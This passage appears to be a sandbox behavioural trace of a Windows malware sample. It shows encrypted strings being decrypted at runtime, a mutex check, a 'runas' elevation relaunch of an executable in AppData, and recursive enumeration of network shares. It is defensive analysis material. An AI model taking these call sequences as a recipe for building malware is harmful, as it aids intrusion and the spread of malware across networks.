	[0264.795] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0264.795] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0264.795] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0264.795] CloseHandle (hObject=0x3fc) returned 1
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0264.795] Sleep (dwMilliseconds=0x3e8) 
	[0265.809] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0265.809] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0265.809] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0265.838] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0265.839] CryptDestroyKey (hKey=0x645d38) returned 1
	[0265.839] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0265.839] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0265.839] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0265.839] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0265.839] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0265.839] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0265.839] CryptDestroyKey (hKey=0x645d38) returned 1
	[0265.839] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0265.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0265.839] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0265.839] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0265.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0265.839] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0265.839] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0265.839] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0265.839] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0265.839] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0265.839] CryptDestroyKey (hKey=0x645d38) returned 1
	[0265.839] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0265.842] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0265.842] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0265.842] CloseHandle (hObject=0x3fc) returned 1
	[0265.842] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0265.842] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0265.842] Sleep (dwMilliseconds=0x3e8) 
	[0266.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0266.990] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645938) returned 1
	[0266.990] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0266.990] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0266.990] CryptDestroyKey (hKey=0x645938) returned 1
	[0266.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0266.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0266.990] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0266.990] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645a38) returned 1
	[0266.990] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0266.990] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0266.991] CryptDestroyKey (hKey=0x645a38) returned 1
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0266.991] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0266.991] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0266.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0266.991] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0266.991] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0266.991] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0266.991] CryptDestroyKey (hKey=0x645b78) returned 1
	[0266.991] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0266.991] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0266.991] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0266.991] CloseHandle (hObject=0x3fc) returned 1
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0266.991] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0266.991] Sleep (dwMilliseconds=0x3e8) 
	[0268.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0268.029] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645ef8) returned 1
	[0268.029] CryptSetKeyParam (hKey=0x645ef8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0268.029] CryptDecrypt (in: hKey=0x645ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0268.029] CryptDestroyKey (hKey=0x645ef8) returned 1
	[0268.030] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0268.030] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0268.030] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0268.030] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645878) returned 1
	[0268.030] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0268.030] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0268.030] CryptDestroyKey (hKey=0x645878) returned 1
	[0268.030] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0268.030] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0268.030] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0268.030] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0268.030] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0268.030] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0268.030] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0268.030] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645878) returned 1
	[0268.030] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0268.030] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0268.030] CryptDestroyKey (hKey=0x645878) returned 1
	[0268.030] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0268.030] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x368
	[0268.055] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102
	[0268.055] CloseHandle (hObject=0x368) returned 1
	[0268.055] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0268.055] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0268.055] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 53
	os_tid = 0x25c

	[0206.891] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd21210
	[0206.891] CryptImportKey (in: hProv=0x616790, pbData=0xe2f7fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe2f864 | out: phKey=0xe2f864*=0x629300) returned 1
	[0206.891] CryptSetKeyParam (hKey=0x629300, dwParam=0x1, pbData=0xe2f84c, dwFlags=0x0) returned 1
	[0206.891] CryptDecrypt (in: hKey=0x629300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0xe2f818 | out: pbData=0xd21210, pdwDataLen=0xe2f818) returned 1
	[0206.891] CryptDestroyKey (hKey=0x629300) returned 1
	[0206.891] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd21228
	[0206.891] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd21440
	[0206.891] CryptImportKey (in: hProv=0x616790, pbData=0xe2f7d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe2f840 | out: phKey=0xe2f840*=0x628f80) returned 1
	[0206.891] CryptSetKeyParam (hKey=0x628f80, dwParam=0x1, pbData=0xe2f828, dwFlags=0x0) returned 1
	[0206.891] CryptDecrypt (in: hKey=0x628f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xe2f7f4 | out: pbData=0xd21440, pdwDataLen=0xe2f7f4) returned 1
	[0206.891] CryptDestroyKey (hKey=0x628f80) returned 1
	[0206.891] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0206.892] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0206.892] Wow64DisableWow64FsRedirection (in: OldValue=0xe2f888 | out: OldValue=0xe2f888*=0x0) returned 1
	[0206.892] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0206.892] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd21228, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0206.959] ShellExecuteExW (in: pExecInfo=0xe2f830*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xe2f830*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0212.451] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd214d0
	[0212.451] CryptImportKey (in: hProv=0x616790, pbData=0xe2f7e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe2f84c | out: phKey=0xe2f84c*=0x645eb8) returned 1
	[0212.451] CryptSetKeyParam (hKey=0x645eb8, dwParam=0x1, pbData=0xe2f834, dwFlags=0x0) returned 1
	[0212.452] CryptDecrypt (in: hKey=0x645eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214d0, pdwDataLen=0xe2f800 | out: pbData=0xd214d0, pdwDataLen=0xe2f800) returned 1
	[0212.452] CryptDestroyKey (hKey=0x645eb8) returned 1
	[0212.452] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0212.452] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0212.452] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0212.452] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214d0 | out: hHeap=0xd20000) returned 1
	[0212.452] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21228 | out: hHeap=0xd20000) returned 1
	[0212.452] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1

Thread:
	id = 54
	os_tid = 0x268


Thread:
	id = 55
	os_tid = 0xa48


Thread:
	id = 56
	os_tid = 0x378


Thread:
	id = 57
	os_tid = 0xa30


Thread:
	id = 58
	os_tid = 0x83c


Thread:
	id = 59
	os_tid = 0xa28


Thread:
	id = 60
	os_tid = 0x3ec


Thread:
	id = 73
	os_tid = 0xcf8


Thread:
	id = 74
	os_tid = 0xcfc

	[0212.151] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x21a) returned 0xd28e48
	[0212.151] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd255e0
	[0212.151] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4a0
	[0212.151] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4a4
	[0212.151] GetComputerNameW (in: lpBuffer=0xd28e58, nSize=0x371f788 | out: lpBuffer="NQDPDE", nSize=0x371f788) returned 1
	[0212.151] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd20580
	[0212.151] GetLastError () returned 0xcb
	[0212.152] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x214) returned 0xd291a0
	[0212.152] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0212.152] GetCurrentThreadId () returned 0xcfc
	[0212.152] SetLastError (dwErrCode=0xcb) 
	[0212.152] GetLastError () returned 0xcb
	[0212.152] SetLastError (dwErrCode=0xcb) 
	[0212.152] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.153] SetLastError (dwErrCode=0xcb) 
	[0212.153] GetLastError () returned 0xcb
	[0212.154] SetLastError (dwErrCode=0xcb) 
	[0212.154] GetLastError () returned 0xcb
	[0212.154] SetLastError (dwErrCode=0xcb) 
	[0212.154] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x34a0048
	[0212.155] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34a4050
	[0212.155] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x371f74c | out: lphEnum=0x371f74c*=0x67c308) returned 0x0
	[0213.409] WNetEnumResourceW (in: hEnum=0x67c308, lpcCount=0x371f754, lpBuffer=0x34a0048, lpBufferSize=0x371f744 | out: lpcCount=0x371f754, lpBuffer=0x34a0048, lpBufferSize=0x371f744) returned 0x103
	[0213.410] WNetCloseEnum (hEnum=0x67c308) returned 0x0
	[0213.410] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34a0048 | out: hHeap=0xd20000) returned 1
	[0213.410] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34a4050 | out: hHeap=0xd20000) returned 1
	[0213.410] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43b0090
	[0213.410] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34a0048
	[0213.410] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x371f734 | out: lphEnum=0x371f734*=0x67b6d0) returned 0x0
	[0213.410] WNetEnumResourceW (in: hEnum=0x67b6d0, lpcCount=0x371f73c, lpBuffer=0x43b0090, lpBufferSize=0x371f72c | out: lpcCount=0x371f73c, lpBuffer=0x43b0090, lpBufferSize=0x371f72c) returned 0x103
	[0213.410] WNetCloseEnum (hEnum=0x67b6d0) returned 0x0
	[0213.410] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x43b0090 | out: hHeap=0xd20000) returned 1
	[0213.410] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34a0048 | out: hHeap=0xd20000) returned 1
	[0213.410] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43b0090
	[0213.411] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34a0048
	[0213.411] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x371f71c | out: lphEnum=0x371f71c*=0x67c308) returned 0x0
	[0228.276] WNetEnumResourceW (in: hEnum=0x67c308, lpcCount=0x371f724, lpBuffer=0x43b0090, lpBufferSize=0x371f714 | out: lpcCount=0x371f724, lpBuffer=0x43b0090, lpBufferSize=0x371f714) returned 0x0
	[0228.276] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x34b0050
	[0228.276] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34b4058
	[0228.276] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43b0090, lphEnum=0x371f6dc | out: lphEnum=0x371f6dc*=0x67c0a0) returned 0x0
	[0241.985] WNetEnumResourceW (in: hEnum=0x67c0a0, lpcCount=0x371f6e4, lpBuffer=0x34b0050, lpBufferSize=0x371f6d4 | out: lpcCount=0x371f6e4, lpBuffer=0x34b0050, lpBufferSize=0x371f6d4) returned 0x0
	[0241.986] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43b4098
	[0241.987] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x43b80a0
	[0241.987] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x34b0050, lphEnum=0x371f69c | out: lphEnum=0x371f69c*=0x67c1a8) returned 0x0
	[0252.294] WNetEnumResourceW (in: hEnum=0x67c1a8, lpcCount=0x371f6a4, lpBuffer=0x43b4098, lpBufferSize=0x371f694 | out: lpcCount=0x371f6a4, lpBuffer=0x43b4098, lpBufferSize=0x371f694) returned 0x0
	[0252.294] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43c80a8
	[0252.294] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x43cc0b0
	[0252.294] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43b4098, lphEnum=0x371f65c | out: lphEnum=0x371f65c*=0x67c780) returned 0x0
	[0262.970] WNetEnumResourceW (in: hEnum=0x67c780, lpcCount=0x371f664, lpBuffer=0x43c80a8, lpBufferSize=0x371f654 | out: lpcCount=0x371f664, lpBuffer=0x43c80a8, lpBufferSize=0x371f654) returned 0x0
	[0262.970] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43dc0b8
	[0262.970] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3544008
	[0262.971] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43c80a8, lphEnum=0x371f61c | out: lphEnum=0x371f61c*=0x67c360) returned 0x0
	[0263.155] WNetEnumResourceW (in: hEnum=0x67c360, lpcCount=0x371f624, lpBuffer=0x43dc0b8, lpBufferSize=0x371f614 | out: lpcCount=0x371f624, lpBuffer=0x43dc0b8, lpBufferSize=0x371f614) returned 0x0
	[0263.155] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43e00c0
	[0263.155] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3554010
	[0263.155] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43dc0b8, lphEnum=0x371f5dc | out: lphEnum=0x371f5dc*=0x67c3b8) returned 0x0
	[0263.297] WNetEnumResourceW (in: hEnum=0x67c3b8, lpcCount=0x371f5e4, lpBuffer=0x43e00c0, lpBufferSize=0x371f5d4 | out: lpcCount=0x371f5e4, lpBuffer=0x43e00c0, lpBufferSize=0x371f5d4) returned 0x0
	[0263.297] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43e40c8
	[0263.297] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3564018
	[0263.297] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43e00c0, lphEnum=0x371f59c | out: lphEnum=0x371f59c*=0x67c048) returned 0x0
	[0263.449] WNetEnumResourceW (in: hEnum=0x67c048, lpcCount=0x371f5a4, lpBuffer=0x43e40c8, lpBufferSize=0x371f594 | out: lpcCount=0x371f5a4, lpBuffer=0x43e40c8, lpBufferSize=0x371f594) returned 0x0
	[0263.449] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43e80d0
	[0263.449] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3574020
	[0263.449] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43e40c8, lphEnum=0x371f55c | out: lphEnum=0x371f55c*=0x67c4c0) returned 0x0
	[0263.677] WNetEnumResourceW (in: hEnum=0x67c4c0, lpcCount=0x371f564, lpBuffer=0x43e80d0, lpBufferSize=0x371f554 | out: lpcCount=0x371f564, lpBuffer=0x43e80d0, lpBufferSize=0x371f554) returned 0x0
	[0263.677] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3584028
	[0263.677] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34c4060
	[0263.678] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43e80d0, lphEnum=0x371f51c | out: lphEnum=0x371f51c*=0x67c5c8) returned 0x0
	[0263.711] WNetEnumResourceW (in: hEnum=0x67c5c8, lpcCount=0x371f524, lpBuffer=0x3584028, lpBufferSize=0x371f514 | out: lpcCount=0x371f524, lpBuffer=0x3584028, lpBufferSize=0x371f514) returned 0x0
	[0263.711] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3588030
	[0263.711] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34d4068
	[0263.712] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3584028, lphEnum=0x371f4dc | out: lphEnum=0x371f4dc*=0x67c518) returned 0x0
